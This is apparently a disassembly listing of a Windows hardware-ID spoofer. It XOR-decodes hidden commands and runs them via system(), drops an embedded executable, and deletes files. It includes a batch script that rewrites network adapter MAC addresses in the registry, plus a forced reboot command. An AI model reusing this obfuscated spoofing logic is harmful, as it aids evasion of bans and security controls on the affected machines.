punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x14005ccd0
cmp r8d, 0x1d
jge 0x14005ce05
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x14005cdd1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3ba0]
lea rcx, [rbp + 0x99]
mov byte [rbp + 0x99], al
call fcn.1400726a0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14005cf85
mov r8d, r14d
cmp r15d, 2
jl 0x14005cf4b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005ce50
cmp r8d, 0x21
jge 0x14005cf85
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x14005cf51
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3f7c]
lea rcx, [rbp + 0x9a]
mov byte [rbp + 0x9a], al
call fcn.1400726d0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14005d105
mov r8d, r14d
cmp r15d, 2
jl 0x14005d0cb
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005cfd0
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x14005d0d1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3cfe]
lea rcx, [rbp + 0x9b]
mov byte [rbp + 0x9b], al
call fcn.140072710
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x14005d285
mov r8d, r14d
cmp r15d, 2
jl 0x14005d24b
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3c4a]
lea rcx, [rbp + 0x9c]
mov byte [rbp + 0x9c], al
call fcn.140072740
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x14005d405
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14006ea05
xor eax, eax
movabs rcx, 0x56d425a6a080d14e
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61fd5c4b77e68d1e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6320], rax
movabs rax, 0xca823bca52ecb2af
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6328], rax
movabs rax, 0xc70f9231ff2e4618
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6330], rax
movabs rax, 0x33c36fc8cd0db859
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6338], rax
movabs rax, 0xdd7ebb091738115c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6340], rax
movabs rax, 0xdc3b7e87a22a809d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6348], rax
movabs rax, 0x8e28a9950f40845f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6350], rax
movabs rax, 0x61beeefea6944a17
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6358], rax
movabs rax, 0x3706c68fdc654984
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6360], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6368], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5920], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5928], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5930], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5938], rax
movabs rax, 0xdd22bb3b170b1131
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5940], rax
movabs rax, 0xdc567ee2a24880ea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5948], rax
movabs rax, 0x8e5fa9e10f2e8403
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5950], rax
movabs rax, 0x61dceed0a6ff4a74
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5958], rax
movabs rax, 0x3706c68fdc1149e5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5960], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x5920]
mov qword [rbp + 0x5968], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x6320]
vmovdqu ymm0, ymmword [rbp + 0x6340]
vmovdqa xmm2, xmmword [rbp + 0x5960]
lea rdx, [rbp + 0x6320]
vxorps xmm2, xmm2, xmmword [rbp + 0x6360]
lea rcx, [rbp + 0x3940]
vmovdqa ymmword [rbp + 0x6320], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x5940]
vmovdqa ymmword [rbp + 0x6340], ymm1
vmovdqa xmmword [rbp + 0x6360], xmm2
vzeroupper
call fcn.140077640
mov r8d, 0x813
lea rdx, str._ECHO_OFF_r_n_SETLOCAL_ENABLEDELAYEDEXPANSION_r_n_SETLOCAL_ENABLEEXTENSIONS_r_n_r_n_::Generate_and_implement_a_random_MAC_address_r_n_FOR__F__tokens1____a_IN__wmic_nic_where_physicaladaptertrue_get_deviceid__findstr__0_9___DO___r_n_CALL_:MAC_r_n_FOR___b_IN__0_00_000__DO___r_n_REG_QUERY_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__NUL_2_NUL__REG_ADD_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__v_NetworkAddress__t_REG_SZ__d__MAC____f__NUL_2_NUL_r_n___r_n___r_n_r_n_::Disable_power_saving_mode_for_network_adapters_r_n_FOR__F__tokens1____a_IN__wmic_nic_where_physicaladaptertrue_get_deviceid__findstr__0_9___DO___r_n_FOR___b_IN__0_00_000__DO___r_n_REG_QUERY_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__NUL_2_NUL__REG_ADD_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__v_PnPCapabilities__t_REG_DWORD__d_24__f__NUL_2_NUL_r_n___r_n___r_n_r_n_::Reset_NIC_adapters_so_the_new_MAC_address_is_implemented_and_the_power_saving_mode_is_disabled._r_n_FOR__F__tokens2_delims__skip2____a_IN___wmic_nic_where__netconnectionid_like_____get_netconnectionid_netconnectionstatus__format:csv___DO___r_n_netsh_interface_set_interface_name___a__disable__NUL_2_NUL_r_n_netsh_interface_set_interface_name___a__enable__NUL_2_NUL_r_n___r_n_r_n_GOTO_:EOF_r_n_:MAC_r_n_::Generates_semi_random_value_of_a_length_according_to_the__if__COUNT____line__minus_one__and_from_the_characters_in_the_GEN_variable_r_n_SET_COUNT0_r_n_SET_GENABCDEF0123456789_r_n_SET_GEN226AE_r_n_SET_MAC_r_n_:MACLOOP_r_n_SET__a_COUNT1_r_n_SET_RND_random__r_n_::__n__where_the_value_of_n_is_the_number_of_characters_in_the_GEN_variable_minus_one.__So_if_you_have_15_characters_in_GEN__set_the_number_as_14_r_n_SET__A_RNDRND__16_r_n_SET_RNDGEN_GEN:_RND__1__r_n_SET__A_RND2RND__4_r_n_SET_RNDGEN2_GEN2:_RND2__1__r_n_IF___COUNT____EQU__2___SET_MAC_MAC__RNDGEN2___ELSE__SET_MAC_MAC__RNDGEN___r_n_IF__COUNT___LEQ_11_GOTO_MACLOOP
lea rcx, [rbp + 0x3940]
call fcn.140040400
lea rcx, [rbp + 0x3940]
call fcn.14003ec10
xor eax, eax
lea rdx, [rbp + 0x3c04]
lea rcx, [rbp + 0x148]
mov byte [rbp + 0x148], al
call fcn.140075d80
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x14006e875
mov r8d, r14d
cmp r15d, 2
jl 0x14006e83b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14006e740
cmp r8d, 0x23
jge 0x14006e875
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x14006e841
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3c27]
lea rcx, [rbp + 0x149]
mov byte [rbp + 0x149], al
call fcn.140075d80
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x14006e9f5
mov r8d, r14d
cmp r15d, 2
jl 0x14006e9bb
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14006e8c0
cmp r8d, 0x23
jge 0x14006e9f5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x14006e9c1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov byte [reloc.WS2_32.dll_accept], 0
cmp byte [0x1404de2f4], 0
je 0x14006eede
xor eax, eax
lea rdx, [rbp + 0x5590]
lea rcx, [rbp + 0x14a]
mov byte [rbp + 0x14a], al
call fcn.140075db0
mov r10, rax
cmp word [rax + 0x48], 0
je 0x14006eba8
mov r8d, r14d
cmp r15d, 2
jl 0x14006eb61
movdqa xmm4, xmmword [0x14015d700]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm9
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm9
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14006ea60
cmp r8d, 0x25
jge 0x14006eba8
movsxd rax, r8d
lea r9, [r10 + rax*2]
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0x25
jl 0x14006eb70
mov rdx, r10
lea rcx, [rbp + 0x3960]
call fcn.140077640
mov r8d, 0x60a00
lea rdx, str.MZS__A
lea rcx, [rbp + 0x3960]
call fcn.140040400
lea rcx, [rbp + 0x3960]
call fcn.14003ec10
xor eax, eax
lea rdx, [rbp + 0x3d48]
lea rcx, [rbp + 0x14b]
mov byte [rbp + 0x14b], al
call fcn.140075e00
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x14006ed55
mov r8d, r14d
cmp r15d, 2
jl 0x14006ed1b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14006ec20
cmp r8d, 0x25
jge 0x14006ed55
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x14006ed21
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3d6d]
lea rcx, [rbp + 0x14c]
mov byte [rbp + 0x14c], al
call fcn.140075e00
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x14006eed5
mov r8d, r14d
cmp r15d, 2
jl 0x14006ee9b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14006eda0
cmp r8d, 0x25
jge 0x14006eed5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x14006eea1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [0x1404dddb8], 0xd
movaps xmm12, xmm14
lea rcx, [rbp + 0x22a0]
call fcn.14003ec10
cmp dword [0x1404dddb8], 0xd
jne 0x14006f36d
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14006ef22
lea rcx, str.shutdown__r__t_7__c__Applying_Spoofing__Changes__Algorithms_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.140008f80
cmp dword [0x1404dddb8], 0xd
movss xmm2, dword [rax + 0x10]
mulss xmm2, dword [0x14015d3cc]
jne 0x14006ef47
movss xmm1, dword [0x14015d484]
jmp 0x14006ef4b
movaps xmm1, xmm14
movss xmm0, dword [0x1404de2f0]
call fcn.1400787f0
movss dword [0x1404de2f0], xmm0
call fcn.140013250
movss xmm1, dword [0x14015d354]
lea rcx, [0x1404de3c0]
mov rdi, rax
call fcn.140004fb0
movsd xmm0, qword [0x1404dcbd0]
lea rdx, [rbp + 0x800]
movss xmm7, dword [0x14015d3b8]
lea rcx, [rbp + 0x808]
movss xmm6, dword [0x1404de2f0]
movaps xmm2, xmm7
movsd qword [rbp + 0x800], xmm0
mov ebx, eax
call fcn.14003ea20
mov r8, rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x810]
call fcn.14003ea40
movss xmm0, dword [0x14015d3d4]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.140024570
call fcn.140013250
movss xmm1, dword [0x14015d36c]
lea rcx, [0x1404de3c0]
mov rdi, rax
call fcn.140004fb0
movsd xmm0, qword [0x1404dcbd0]
lea rdx, [rbp + 0x818]
movss xmm6, dword [0x1404de2f0]
lea rcx, [rbp + 0x820]
movaps xmm2, xmm7
movsd qword [rbp + 0x818], xmm0
mov ebx, eax
mulss xmm6, xmm7
call fcn.14003ea20
mov r8, rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x828]
call fcn.14003ea40
movss xmm0, dword [0x14015d3d4]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.140024570
call fcn.140013250
movss xmm1, dword [0x14015d39c]
lea rcx, [0x1404de3c0]
mov rdi, rax
call fcn.140004fb0
movsd xmm0, qword [0x1404dcbd0]
lea rdx, [rbp + 0x830]
movss xmm6, dword [0x1404de2f0]
lea rcx, [rbp + 0x838]
mulss xmm6, dword [0x14015d3cc]
movaps xmm2, xmm7
mov ebx, eax
movsd qword [rbp + 0x830], xmm0
call fcn.14003ea20
mov r8, rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x840]
call fcn.14003ea40
movss xmm0, dword [0x14015d3d4]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.140024570
call fcn.140013250
movss xmm1, dword [0x14015d39c]
lea rcx, [0x1404de3c0]
mov rdi, rax
call fcn.140004fb0
movsd xmm0, qword [0x1404dcbd0]
lea rdx, [rbp + 0x848]
movss xmm6, dword [0x1404de2f0]
lea rcx, [rbp + 0x850]
mulss xmm6, dword [0x14015d3d4]
movaps xmm2, xmm7
mov ebx, eax
movsd qword [rbp + 0x848], xmm0
call fcn.14003ea20
mov r8, rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x858]
call fcn.14003ea40
movss xmm0, dword [0x14015d3d4]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.140024570
call fcn.140013250
movss xmm1, dword [0x14015d39c]
lea rcx, [0x1404de3c0]
mov rsi, rax
call fcn.140004fb0
movss xmm6, dword [0x14015d414]
lea rcx, [rbp + 0x860]
movaps xmm2, xmm6
movaps xmm1, xmm14
mov edi, eax
call fcn.140001d30
movss xmm0, dword [0x14015d594]
lea rdx, str.Machine_Virtualized_Succesfully_
xor r9d, r9d
movss dword [rsp + 0x20], xmm0
xor r8d, r8d
lea rcx, [rbp + 0x868]
mov rbx, rax
